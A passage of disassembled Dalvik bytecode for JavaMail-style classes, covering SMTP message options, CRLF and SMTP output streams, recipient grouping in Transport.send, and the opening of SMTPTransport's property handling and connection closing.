0000001E iput-object v1, p0, SMTPMessage->extension:String
00000022 return-void
.end method
.method public constructor <init>(MimeMessage)V
.registers 4
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct MimeMessage-><init>(MimeMessage)V, p0, p1
0000000A iput v0, p0, SMTPMessage->notifyOptions:I
0000000E iput v0, p0, SMTPMessage->returnOption:I
00000012 iput-boolean v0, p0, SMTPMessage->sendPartial:Z
00000016 iput-boolean v0, p0, SMTPMessage->allow8bitMIME:Z
0000001A iput-object v1, p0, SMTPMessage->submitter:String
0000001E iput-object v1, p0, SMTPMessage->extension:String
00000022 return-void
.end method
.method public getAllow8bitMIME()Z
.registers 2
00000000 iget-boolean v0, p0, SMTPMessage->allow8bitMIME:Z
00000004 return v0
.end method
.method getDSNNotify()String
.registers 4
00000000 const/16 v2, 0x2C
00000004 iget v0, p0, SMTPMessage->notifyOptions:I
00000008 if-nez v0, :10
:C
0000000C const/4 v0, 0x0
:E
0000000E return-object v0
:10
00000010 iget v0, p0, SMTPMessage->notifyOptions:I
00000014 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000016 if-ne v0, v1, :20
:1A
0000001A const-string v0, "NEVER"
0000001E goto :E
:20
00000020 new-instance v0, StringBuffer
00000024 invoke-direct StringBuffer-><init>()V, v0
0000002A iget v1, p0, SMTPMessage->notifyOptions:I
0000002E and-int/lit8 v1, v1, 0x1
00000032 if-eqz v1, :40
:36
00000036 const-string v1, "SUCCESS"
0000003A invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:40
00000040 iget v1, p0, SMTPMessage->notifyOptions:I
00000044 and-int/lit8 v1, v1, 0x2
00000048 if-eqz v1, :68
:4C
0000004C invoke-virtual StringBuffer->length()I, v0
00000052 move-result v1
00000054 if-eqz v1, :5E
:58
00000058 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v2
:5E
0000005E const-string v1, "FAILURE"
00000062 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:68
00000068 iget v1, p0, SMTPMessage->notifyOptions:I
0000006C and-int/lit8 v1, v1, 0x4
00000070 if-eqz v1, :90
:74
00000074 invoke-virtual StringBuffer->length()I, v0
0000007A move-result v1
0000007C if-eqz v1, :86
:80
00000080 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v2
:86
00000086 const-string v1, "DELAY"
0000008A invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:90
00000090 invoke-virtual StringBuffer->toString()String, v0
00000096 move-result-object v0
00000098 goto :E
.end method
.method getDSNRet()String
.registers 3
00000000 sget-object v0, SMTPMessage->returnOptionString:[String
00000004 iget v1, p0, SMTPMessage->returnOption:I
00000008 aget-object v0, v0, v1
0000000C return-object v0
.end method
.method public getEnvelopeFrom()String
.registers 2
00000000 iget-object v0, p0, SMTPMessage->envelopeFrom:String
00000004 return-object v0
.end method
.method public getMailExtension()String
.registers 2
00000000 iget-object v0, p0, SMTPMessage->extension:String
00000004 return-object v0
.end method
.method public getNotifyOptions()I
.registers 2
00000000 iget v0, p0, SMTPMessage->notifyOptions:I
00000004 return v0
.end method
.method public getReturnOption()I
.registers 2
00000000 iget v0, p0, SMTPMessage->returnOption:I
00000004 return v0
.end method
.method public getSendPartial()Z
.registers 2
00000000 iget-boolean v0, p0, SMTPMessage->sendPartial:Z
00000004 return v0
.end method
.method public getSubmitter()String
.registers 2
00000000 iget-object v0, p0, SMTPMessage->submitter:String
00000004 return-object v0
.end method
.method public setAllow8bitMIME(Z)V
.registers 2
00000000 iput-boolean p1, p0, SMTPMessage->allow8bitMIME:Z
00000004 return-void
.end method
.method public setEnvelopeFrom(String)V
.registers 2
00000000 iput-object p1, p0, SMTPMessage->envelopeFrom:String
00000004 return-void
.end method
.method public setMailExtension(String)V
.registers 2
00000000 iput-object p1, p0, SMTPMessage->extension:String
00000004 return-void
.end method
.method public setNotifyOptions(I)V
.registers 4
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 if-lt p1, v0, :E
:6
00000006 const/16 v0, 0x8
0000000A if-lt p1, v0, :1E
:E
0000000E new-instance v0, IllegalArgumentException
00000012 const-string v1, "Bad return option"
00000016 invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
0000001C throw v0
:1E
0000001E iput p1, p0, SMTPMessage->notifyOptions:I
00000022 return-void
.end method
.method public setReturnOption(I)V
.registers 4
00000000 if-ltz p1, :A
:4
00000004 const/4 v0, 0x2
00000006 if-le p1, v0, :1A
:A
0000000A new-instance v0, IllegalArgumentException
0000000E const-string v1, "Bad return option"
00000012 invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
00000018 throw v0
:1A
0000001A iput p1, p0, SMTPMessage->returnOption:I
0000001E return-void
.end method
.method public setSendPartial(Z)V
.registers 2
00000000 iput-boolean p1, p0, SMTPMessage->sendPartial:Z
00000004 return-void
.end method
.method public setSubmitter(String)V
.registers 2
00000000 iput-object p1, p0, SMTPMessage->submitter:String
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public CRLFOutputStream
.super FilterOutputStream
.source ""
.field private static final newline:[B
.field protected atBOL:Z
.field protected lastb:I
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x2
00000002 new-array v0, v0, [B
00000006 fill-array-data v0, :14
0000000C sput-object v0, CRLFOutputStream->newline:[B
00000010 return-void
00000014 .array-data 1 x 0x2
0xD
0xA
.end array-data
.end method
.method public constructor <init>(OutputStream)V
.registers 3
00000000 invoke-direct FilterOutputStream-><init>(OutputStream)V, p0, p1
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, CRLFOutputStream->lastb:I
0000000C const/4 v0, 0x1
0000000E iput-boolean v0, p0, CRLFOutputStream->atBOL:Z
00000012 return-void
.end method
.method public write(I)V
.registers 4
00000000 const/16 v1, 0xD
00000004 if-ne p1, v1, :14
:8
00000008 invoke-virtual CRLFOutputStream->writeln()V, p0
:E
0000000E iput p1, p0, CRLFOutputStream->lastb:I
00000012 return-void
:14
00000014 const/16 v0, 0xA
00000018 if-ne p1, v0, :2C
:1C
0000001C iget v0, p0, CRLFOutputStream->lastb:I
00000020 if-eq v0, v1, :E
:24
00000024 invoke-virtual CRLFOutputStream->writeln()V, p0
0000002A goto :E
:2C
0000002C iget-object v0, p0, CRLFOutputStream->out:OutputStream
00000030 invoke-virtual OutputStream->write(I)V, v0, p1
00000036 const/4 v0, 0x0
00000038 iput-boolean v0, p0, CRLFOutputStream->atBOL:Z
0000003C goto :E
.end method
.method public write([B)V
.registers 4
00000000 const/4 v0, 0x0
00000002 array-length v1, p1
00000004 invoke-virtual CRLFOutputStream->write([B, I, I)V, p0, p1, v0, v1
0000000A return-void
.end method
.method public write([B, I, I)V
.registers 9
00000000 const/16 v4, 0xD
00000004 add-int v1, p3, p2
00000008 move v0, p2
:A
0000000A if-lt p2, v1, :2A
:E
0000000E sub-int v2, v1, v0
00000012 if-lez v2, :28
:16
00000016 iget-object v2, p0, CRLFOutputStream->out:OutputStream
0000001A sub-int/2addr v1, v0
0000001C invoke-virtual OutputStream->write([B, I, I)V, v2, p1, v0, v1
00000022 const/4 v0, 0x0
00000024 iput-boolean v0, p0, CRLFOutputStream->atBOL:Z
:28
00000028 return-void
:2A
0000002A aget-byte v2, p1, p2
0000002E if-ne v2, v4, :58
:32
00000032 iget-object v2, p0, CRLFOutputStream->out:OutputStream
00000036 sub-int v3, p2, v0
0000003A invoke-virtual OutputStream->write([B, I, I)V, v2, p1, v0, v3
00000040 invoke-virtual CRLFOutputStream->writeln()V, p0
00000046 add-int/lit8 v0, p2, 0x1
:4A
0000004A aget-byte v2, p1, p2
0000004E iput v2, p0, CRLFOutputStream->lastb:I
00000052 add-int/lit8 p2, p2, 0x1
00000056 goto :A
:58
00000058 aget-byte v2, p1, p2
0000005C const/16 v3, 0xA
00000060 if-ne v2, v3, :4A
:64
00000064 iget v2, p0, CRLFOutputStream->lastb:I
00000068 if-eq v2, v4, :80
:6C
0000006C iget-object v2, p0, CRLFOutputStream->out:OutputStream
00000070 sub-int v3, p2, v0
00000074 invoke-virtual OutputStream->write([B, I, I)V, v2, p1, v0, v3
0000007A invoke-virtual CRLFOutputStream->writeln()V, p0
:80
00000080 add-int/lit8 v0, p2, 0x1
00000084 goto :4A
.end method
.method public writeln()V
.registers 3
00000000 iget-object v0, p0, CRLFOutputStream->out:OutputStream
00000004 sget-object v1, CRLFOutputStream->newline:[B
00000008 invoke-virtual OutputStream->write([B)V, v0, v1
0000000E const/4 v0, 0x1
00000010 iput-boolean v0, p0, CRLFOutputStream->atBOL:Z
00000014 return-void
.end method
#--------------------------------------------------------------------------------
.class public SMTPOutputStream
.super CRLFOutputStream
.source ""
.method public constructor <init>(OutputStream)V
.registers 2
00000000 invoke-direct CRLFOutputStream-><init>(OutputStream)V, p0, p1
00000006 return-void
.end method
.method public ensureAtBOL()V
.registers 2
00000000 iget-boolean v0, p0, SMTPOutputStream->atBOL:Z
00000004 if-nez v0, :E
:8
00000008 invoke-super CRLFOutputStream->writeln()V, p0
:E
0000000E return-void
.end method
.method public flush()V
.registers 1
00000000 return-void
.end method
.method public write(I)V
.registers 5
00000000 const/16 v2, 0x2E
00000004 iget v0, p0, SMTPOutputStream->lastb:I
00000008 const/16 v1, 0xA
0000000C if-eq v0, v1, :26
:10
00000010 iget v0, p0, SMTPOutputStream->lastb:I
00000014 const/16 v1, 0xD
00000018 if-eq v0, v1, :26
:1C
0000001C iget v0, p0, SMTPOutputStream->lastb:I
00000020 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000022 if-ne v0, v1, :34
:26
00000026 if-ne p1, v2, :34
:2A
0000002A iget-object v0, p0, SMTPOutputStream->out:OutputStream
0000002E invoke-virtual OutputStream->write(I)V, v0, v2
:34
00000034 invoke-super CRLFOutputStream->write(I)V, p0, p1
0000003A return-void
.end method
.method public write([B, I, I)V
.registers 11
00000000 const/16 v6, 0x2E
00000004 const/16 v1, 0xA
00000008 iget v0, p0, SMTPOutputStream->lastb:I
0000000C const/4 v2, 0xFFFFFFFFFFFFFFFF
0000000E if-ne v0, v2, :36
:12
00000012 move v0, v1
:14
00000014 add-int v4, p3, p2
00000018 move v2, p2
0000001A move v3, v0
0000001C move v0, p2
:1E
0000001E if-lt v2, v4, :3C
:22
00000022 sub-int v1, v4, v0
00000026 if-lez v1, :34
:2A
0000002A sub-int v1, v4, v0
0000002E invoke-super CRLFOutputStream->write([B, I, I)V, p0, p1, v0, v1
:34
00000034 return-void
:36
00000036 iget v0, p0, SMTPOutputStream->lastb:I
0000003A goto :14
:3C
0000003C if-eq v3, v1, :48
:40
00000040 const/16 v5, 0xD
00000044 if-ne v3, v5, :66
:48
00000048 aget-byte v3, p1, v2
0000004C if-ne v3, v6, :66
:50
00000050 sub-int v3, v2, v0
00000054 invoke-super CRLFOutputStream->write([B, I, I)V, p0, p1, v0, v3
0000005A iget-object v0, p0, SMTPOutputStream->out:OutputStream
0000005E invoke-virtual OutputStream->write(I)V, v0, v6
00000064 move v0, v2
:66
00000066 aget-byte v3, p1, v2
0000006A add-int/lit8 v2, v2, 0x1
0000006E goto :1E
.end method
#--------------------------------------------------------------------------------
.class public abstract Transport
.super Service
.source ""
.field private transportListeners:Vector
.method public constructor <init>(Session, URLName)V
.registers 4
00000000 invoke-direct Service-><init>(Session, URLName)V, p0, p1, p2
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, Transport->transportListeners:Vector
0000000C return-void
.end method
.method public static send(Message)V
.registers 2
00000000 invoke-virtual Message->saveChanges()V, p0
00000006 invoke-virtual Message->getAllRecipients()[Address, p0
0000000C move-result-object v0
0000000E invoke-static Transport->send0(Message, [Address)V, p0, v0
00000014 return-void
.end method
.method public static send(Message, [Address)V
.registers 2
00000000 invoke-virtual Message->saveChanges()V, p0
00000006 invoke-static Transport->send0(Message, [Address)V, p0, p1
0000000C return-void
.end method
.method private static send0(Message, [Address)V
.registers 16
00000000 const/4 v5, 0x1
00000002 const/4 v1, 0x0
00000004 const/4 v3, 0x0
00000006 if-eqz p1, :10
:A
0000000A array-length v0, p1
0000000C if-nez v0, :20
:10
00000010 new-instance v0, SendFailedException
00000014 const-string v1, "No recipient addresses"
00000018 invoke-direct SendFailedException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 new-instance v4, Hashtable
00000024 invoke-direct Hashtable-><init>()V, v4
0000002A new-instance v7, Vector
0000002E invoke-direct Vector-><init>()V, v7
00000034 new-instance v8, Vector
00000038 invoke-direct Vector-><init>()V, v8
0000003E new-instance v9, Vector
00000042 invoke-direct Vector-><init>()V, v9
00000048 move v2, v3
:4A
0000004A array-length v0, p1
0000004C if-lt v2, v0, :6C
:50
00000050 invoke-virtual Hashtable->size()I, v4
00000056 move-result v2
00000058 if-nez v2, :D6
:5C
0000005C new-instance v0, SendFailedException
00000060 const-string v1, "No recipient addresses"
00000064 invoke-direct SendFailedException-><init>(String)V, v0, v1
0000006A throw v0
:6C
0000006C aget-object v0, p1, v2
00000070 invoke-virtual Address->getType()String, v0
00000076 move-result-object v0
00000078 invoke-virtual Hashtable->containsKey(Object)Z, v4, v0
0000007E move-result v0
00000080 if-eqz v0, :AE
:84
00000084 aget-object v0, p1, v2
00000088 invoke-virtual Address->getType()String, v0
0000008E move-result-object v0
00000090 invoke-virtual Hashtable->get(Object)Object, v4, v0
00000096 move-result-object v0
00000098 check-cast v0, Vector
0000009C aget-object v6, p1, v2
000000A0 invoke-virtual Vector->addElement(Object)V, v0, v6
:A6
000000A6 add-int/lit8 v0, v2, 0x1
000000AA move v2, v0
000000AC goto :4A
:AE
000000AE new-instance v0, Vector
000000B2 invoke-direct Vector-><init>()V, v0
000000B8 aget-object v6, p1, v2
000000BC invoke-virtual Vector->addElement(Object)V, v0, v6
000000C2 aget-object v6, p1, v2
000000C6 invoke-virtual Address->getType()String, v6
000000CC move-result-object v6
000000CE invoke-virtual Hashtable->put(Object, Object)Object, v4, v6, v0
000000D4 goto :A6
:D6
000000D6 iget-object v0, p0, Message->session:Session
000000DA if-eqz v0, :108
:DE
000000DE iget-object v0, p0, Message->session:Session
000000E2 move-object v6, v0
:E4
000000E4 if-ne v2, v5, :126
:E8
000000E8 aget-object v0, p1, v3
000000EC invoke-virtual Session->getTransport(Address)Transport, v6, v0
000000F2 move-result-object v1
:F4
000000F4 invoke-virtual Transport->connect()V, v1
000000FA invoke-virtual Transport->sendMessage(Message, [Address)V, v1, p0, p1
:100
00000100 invoke-virtual Transport->close()V, v1
:106
00000106 return-void
:108
00000108 invoke-static System->getProperties()Properties
0000010E move-result-object v0
00000110 invoke-static Session->getDefaultInstance(Properties, Authenticator)Session, v0, v1
00000116 move-result-object v0
00000118 move-object v6, v0
0000011A goto :E4
:11C
0000011C move-exception v0
0000011E invoke-virtual Transport->close()V, v1
00000124 throw v0
:126
00000126 invoke-virtual Hashtable->elements()Enumeration, v4
0000012C move-result-object v10
0000012E move v4, v3
00000130 move-object v2, v1
:132
00000132 invoke-interface Enumeration->hasMoreElements()Z, v10
00000138 move-result v0
0000013A if-nez v0, :1D4
:13E
0000013E if-nez v4, :15A
:142
00000142 invoke-virtual Vector->size()I, v7
00000148 move-result v0
0000014A if-nez v0, :15A
:14E
0000014E invoke-virtual Vector->size()I, v9
00000154 move-result v0
00000156 if-eqz v0, :106
:15A
0000015A move-object v0, v1
0000015C check-cast v0, [Address
00000160 move-object v4, v1
00000162 check-cast v4, [Address
00000166 check-cast v1, [Address
0000016A invoke-virtual Vector->size()I, v8
00000170 move-result v3
00000172 if-lez v3, :2E2
:176
00000176 invoke-virtual Vector->size()I, v8
0000017C move-result v0
0000017E new-array v3, v0, [Address
00000182 invoke-virtual Vector->copyInto([Object)V, v8, v3
:188
00000188 invoke-virtual Vector->size()I, v9
0000018E move-result v0
00000190 if-lez v0, :1A6
:194
00000194 invoke-virtual Vector->size()I, v9
0000019A move-result v0
0000019C new-array v4, v0, [Address
000001A0 invoke-virtual Vector->copyInto([Object)V, v9, v4
:1A6
000001A6 invoke-virtual Vector->size()I, v7
000001AC move-result v0
000001AE if-lez v0, :2DC
:1B2
000001B2 invoke-virtual Vector->size()I, v7
000001B8 move-result v0
000001BA new-array v5, v0, [Address
000001BE invoke-virtual Vector->copyInto([Object)V, v7, v5
:1C4
000001C4 new-instance v0, SendFailedException
000001C8 const-string v1, "Sending failed"
000001CC invoke-direct/range SendFailedException-><init>(String, Exception, [Address, [Address, [Address)V, v0 .. v5
000001D2 throw v0
:1D4
000001D4 invoke-interface Enumeration->nextElement()Object, v10
000001DA move-result-object v0
000001DC check-cast v0, Vector
000001E0 invoke-virtual Vector->size()I, v0
000001E6 move-result v11
000001E8 new-array v11, v11, [Address
000001EC invoke-virtual Vector->copyInto([Object)V, v0, v11
000001F2 aget-object v0, v11, v3
000001F6 invoke-virtual Session->getTransport(Address)Transport, v6, v0
000001FC move-result-object v12
000001FE if-nez v12, :21A
:202
00000202 move v0, v3
:204
00000204 array-length v12, v11
00000206 if-ge v0, v12, :132
:20A
0000020A aget-object v12, v11, v0
0000020E invoke-virtual Vector->addElement(Object)V, v7, v12
00000214 add-int/lit8 v0, v0, 0x1
00000218 goto :204
:21A
0000021A invoke-virtual Transport->connect()V, v12
00000220 invoke-virtual Transport->sendMessage(Message, [Address)V, v12, p0, v11
:226
00000226 invoke-virtual Transport->close()V, v12
0000022C goto :132
:22E
0000022E move-exception v0
00000230 if-nez v2, :27E
:234
00000234 move-object v2, v0
:236
00000236 invoke-virtual SendFailedException->getInvalidAddresses()[Address, v0
0000023C move-result-object v11
0000023E if-eqz v11, :24A
:242
00000242 move v4, v3
:244
00000244 array-length v13, v11
00000246 if-lt v4, v13, :290
:24A
0000024A invoke-virtual SendFailedException->getValidSentAddresses()[Address, v0
00000250 move-result-object v11
00000252 if-eqz v11, :25E
:256
00000256 move v4, v3
:258
00000258 array-length v13, v11
0000025A if-lt v4, v13, :2A0
:25E
0000025E invoke-virtual SendFailedException->getValidUnsentAddresses()[Address, v0
00000264 move-result-object v4
00000266 if-eqz v4, :272
:26A
0000026A move v0, v3
:26C
0000026C array-length v11, v4
:26E
0000026E if-lt v0, v11, :2B0
:272
00000272 invoke-virtual Transport->close()V, v12
00000278 move v4, v5
0000027A goto/16 :132
:27E
0000027E invoke-virtual MessagingException->setNextException(Exception)Z, v2, v0
:284
00000284 goto :236
:286
00000286 move-exception v0
00000288 invoke-virtual Transport->close()V, v12
0000028E throw v0
:290
00000290 aget-object v13, v11, v4
00000294 invoke-virtual Vector->addElement(Object)V, v7, v13
0000029A add-int/lit8 v4, v4, 0x1
0000029E goto :244
:2A0
000002A0 aget-object v13, v11, v4
000002A4 invoke-virtual Vector->addElement(Object)V, v8, v13
000002AA add-int/lit8 v4, v4, 0x1
000002AE goto :258
:2B0
000002B0 aget-object v11, v4, v0
000002B4 invoke-virtual Vector->addElement(Object)V, v9, v11
:2BA
000002BA add-int/lit8 v0, v0, 0x1
000002BE goto :26C
:2C0
000002C0 move-exception v0
000002C2 if-nez v2, :2D4
:2C6
000002C6 move-object v2, v0
:2C8
000002C8 invoke-virtual Transport->close()V, v12
000002CE move v4, v5
000002D0 goto/16 :132
:2D4
000002D4 invoke-virtual MessagingException->setNextException(Exception)Z, v2, v0
:2DA
000002DA goto :2C8
:2DC
000002DC move-object v5, v1
000002DE goto/16 :1C4
:2E2
000002E2 move-object v3, v0
000002E4 goto/16 :188
.catchall {:F4 .. :100} :11C
.catch SendFailedException {:21A .. :226} :22E
.catch MessagingException {:21A .. :226} :2C0
.catchall {:21A .. :226} :286
.catchall {:236 .. :26E} :286
.catchall {:27E .. :284} :286
.catchall {:290 .. :2BA} :286
.catchall {:2D4 .. :2DA} :286
.end method
.method public declared-synchronized addTransportListener(TransportListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Transport->transportListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Transport->transportListeners:Vector
:18
00000018 iget-object v0, p0, Transport->transportListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method protected notifyTransportListeners(I, [Address, [Address, [Address, Message)V
.registers 13
00000000 iget-object v0, p0, Transport->transportListeners:Vector
00000004 if-nez v0, :A
:8
00000008 return-void
:A
0000000A new-instance v0, TransportEvent
0000000E move-object v1, p0
00000010 move v2, p1
00000012 move-object v3, p2
00000014 move-object v4, p3
00000016 move-object v5, p4
00000018 move-object v6, p5
0000001A invoke-direct/range TransportEvent-><init>(Transport, I, [Address, [Address, [Address, Message)V, v0 .. v6
00000020 iget-object v1, p0, Transport->transportListeners:Vector
00000024 invoke-virtual Transport->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000002A goto :8
.end method
.method public declared-synchronized removeTransportListener(TransportListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Transport->transportListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Transport->transportListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public abstract sendMessage(Message, [Address)V
.end method
#--------------------------------------------------------------------------------
.class public SMTPTransport
.super Transport
.source ""
.field static final synthetic $assertionsDisabled:Z = false
.field private static final CRLF:[B = null
.field private static final UNKNOWN:String = "UNKNOWN"
.field private static hexchar:[C
.field private static final ignoreList:[String
.field private addresses:[Address
.field private dataStream:SMTPOutputStream
.field private defaultPort:I
.field private exception:MessagingException
.field private extMap:Hashtable
.field private invalidAddr:[Address
.field private isSSL:Z
.field private lastReturnCode:I
.field private lastServerResponse:String
.field private lineInputStream:LineInputStream
.field private localHostName:String
.field private md5support:DigestMD5
.field private message:MimeMessage
.field private name:String
.field private out:PrintStream
.field private quitWait:Z
.field private reportSuccess:Z
.field private saslRealm:String
.field private sendPartiallyFailed:Z
.field private serverInput:BufferedInputStream
.field private serverOutput:OutputStream
.field private serverSocket:Socket
.field private useRset:Z
.field private useStartTLS:Z
.field private validSentAddr:[Address
.field private validUnsentAddr:[Address
.method static constructor <clinit>()V
.registers 5
00000000 const/4 v4, 0x2
00000002 const/4 v1, 0x1
00000004 const/4 v2, 0x0
00000006 const-class v0, SMTPTransport
0000000A invoke-virtual Class->desiredAssertionStatus()Z, v0
00000010 move-result v0
00000012 if-nez v0, :56
:16
00000016 move v0, v1
:18
00000018 sput-boolean v0, SMTPTransport->$assertionsDisabled:Z
0000001C new-array v0, v4, [String
00000020 const-string v3, "Bcc"
00000024 aput-object v3, v0, v2
00000028 const-string v2, "Content-Length"
0000002C aput-object v2, v0, v1
00000030 sput-object v0, SMTPTransport->ignoreList:[String
00000034 new-array v0, v4, [B
00000038 fill-array-data v0, :5C
0000003E sput-object v0, SMTPTransport->CRLF:[B
00000042 const/16 v0, 0x10
00000046 new-array v0, v0, [C
0000004A fill-array-data v0, :68
00000050 sput-object v0, SMTPTransport->hexchar:[C
00000054 return-void
:56
00000056 move v0, v2
00000058 goto :18
0000005C .array-data 1 x 0x2
0xD
0xA
.end array-data
00000068 .array-data 2 x 0x10
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x41
0x42
0x43
0x44
0x45
0x46
.end array-data
.end method
.method public constructor <init>(Session, URLName)V
.registers 9
00000000 const-string v3, "smtp"
00000004 const/16 v4, 0x19
00000008 const/4 v5, 0x0
0000000A move-object v0, p0
0000000C move-object v1, p1
0000000E move-object v2, p2
00000010 invoke-direct/range SMTPTransport-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016 return-void
.end method
.method protected constructor <init>(Session, URLName, String, I, Z)V
.registers 10
00000000 const/4 v2, 0x1
00000002 const/4 v1, 0x0
00000004 invoke-direct Transport-><init>(Session, URLName)V, p0, p1, p2
0000000A const-string v0, "smtp"
0000000E iput-object v0, p0, SMTPTransport->name:String
00000012 const/16 v0, 0x19
00000016 iput v0, p0, SMTPTransport->defaultPort:I
0000001A iput-boolean v1, p0, SMTPTransport->isSSL:Z
0000001E iput-boolean v1, p0, SMTPTransport->sendPartiallyFailed:Z
00000022 iput-boolean v1, p0, SMTPTransport->quitWait:Z
00000026 const-string v0, "UNKNOWN"
0000002A iput-object v0, p0, SMTPTransport->saslRealm:String
0000002E if-eqz p2, :3A
:32
00000032 invoke-virtual URLName->getProtocol()String, p2
00000038 move-result-object p3
:3A
0000003A iput-object p3, p0, SMTPTransport->name:String
0000003E iput p4, p0, SMTPTransport->defaultPort:I
00000042 iput-boolean p5, p0, SMTPTransport->isSSL:Z
00000046 invoke-virtual Session->getDebugOut()PrintStream, p1
0000004C move-result-object v0
0000004E iput-object v0, p0, SMTPTransport->out:PrintStream
00000052 new-instance v0, StringBuilder
00000056 const-string v3, "mail."
0000005A invoke-direct StringBuilder-><init>(String)V, v0, v3
00000060 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000066 move-result-object v0
00000068 const-string v3, ".quitwait"
0000006C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
00000072 move-result-object v0
00000074 invoke-virtual StringBuilder->toString()String, v0
0000007A move-result-object v0
0000007C invoke-virtual Session->getProperty(String)String, p1, v0
00000082 move-result-object v0
00000084 if-eqz v0, :182
:88
00000088 const-string v3, "true"
0000008C invoke-virtual String->equalsIgnoreCase(String)Z, v0, v3
00000092 move-result v0
00000094 if-nez v0, :182
:98
00000098 move v0, v1
:9A
0000009A iput-boolean v0, p0, SMTPTransport->quitWait:Z
0000009E new-instance v0, StringBuilder
000000A2 const-string v3, "mail."
000000A6 invoke-direct StringBuilder-><init>(String)V, v0, v3
000000AC invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000000B2 move-result-object v0
000000B4 const-string v3, ".reportsuccess"
000000B8 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
000000BE move-result-object v0
000000C0 invoke-virtual StringBuilder->toString()String, v0
000000C6 move-result-object v0
000000C8 invoke-virtual Session->getProperty(String)String, p1, v0
000000CE move-result-object v0
000000D0 if-eqz v0, :186
:D4
000000D4 const-string v3, "true"
000000D8 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v3
000000DE move-result v0
000000E0 if-eqz v0, :186
:E4
000000E4 move v0, v2
:E6
000000E6 iput-boolean v0, p0, SMTPTransport->reportSuccess:Z
000000EA new-instance v0, StringBuilder
000000EE const-string v3, "mail."
000000F2 invoke-direct StringBuilder-><init>(String)V, v0, v3
000000F8 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000000FE move-result-object v0
00000100 const-string v3, ".starttls.enable"
00000104 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
0000010A move-result-object v0
0000010C invoke-virtual StringBuilder->toString()String, v0
00000112 move-result-object v0
00000114 invoke-virtual Session->getProperty(String)String, p1, v0
0000011A move-result-object v0
0000011C if-eqz v0, :18A
:120
00000120 const-string v3, "true"
00000124 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v3
0000012A move-result v0
0000012C if-eqz v0, :18A
:130
00000130 move v0, v2
:132
00000132 iput-boolean v0, p0, SMTPTransport->useStartTLS:Z
00000136 new-instance v0, StringBuilder
0000013A const-string v3, "mail."
0000013E invoke-direct StringBuilder-><init>(String)V, v0, v3
00000144 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
0000014A move-result-object v0
0000014C const-string v3, ".userset"
00000150 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
00000156 move-result-object v0
00000158 invoke-virtual StringBuilder->toString()String, v0
0000015E move-result-object v0
00000160 invoke-virtual Session->getProperty(String)String, p1, v0
00000166 move-result-object v0
00000168 if-eqz v0, :18E
:16C
0000016C const-string v3, "true"
00000170 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v3
00000176 move-result v0
00000178 if-eqz v0, :18E
:17C
0000017C iput-boolean v2, p0, SMTPTransport->useRset:Z
00000180 return-void
:182
00000182 move v0, v2
00000184 goto :9A
:186
00000186 move v0, v1
00000188 goto :E6
:18A
0000018A move v0, v1
0000018C goto :132
:18E
0000018E move v2, v1
00000190 goto :17C
.end method
.method private closeConnection()V
.registers 5
00000000 const/4 v3, 0x0
:2
00000002 iget-object v0, p0, SMTPTransport->serverSocket:Socket
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, SMTPTransport->serverSocket:Socket
0000000E invoke-virtual Socket->close()V, v0
:14
00000014 iput-object v3, p0, SMTPTransport->serverSocket:Socket
00000018 iput-object v3, p0, SMTPTransport->serverOutput:OutputStream
0000001C iput-object v3, p0, SMTPTransport->serverInput:BufferedInputStream
00000020 iput-object v3, p0, SMTPTransport->lineInputStream:LineInputStream
00000024 invoke-super Transport->isConnected()Z, p0
0000002A move-result v0
0000002C if-eqz v0, :36
:30
00000030 invoke-super Transport->close()V, p0
:36
00000036 return-void
:38
00000038 move-exception v0
:3A
0000003A new-instance v1, MessagingException
0000003E const-string v2, "Server Close Failed"
00000042 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000048 throw v1
:4A
0000004A move-exception v0
0000004C iput-object v3, p0, SMTPTransport->serverSocket:Socket
00000050 iput-object v3, p0, SMTPTransport->serverOutput:OutputStream
00000054 iput-object v3, p0, SMTPTransport->serverInput:BufferedInputStream
00000058 iput-object v3, p0, SMTPTransport->lineInputStream:LineInputStream
0000005C invoke-super Transport->isConnected()Z, p0
00000062 move-result v1
00000064 if-eqz v1, :6E
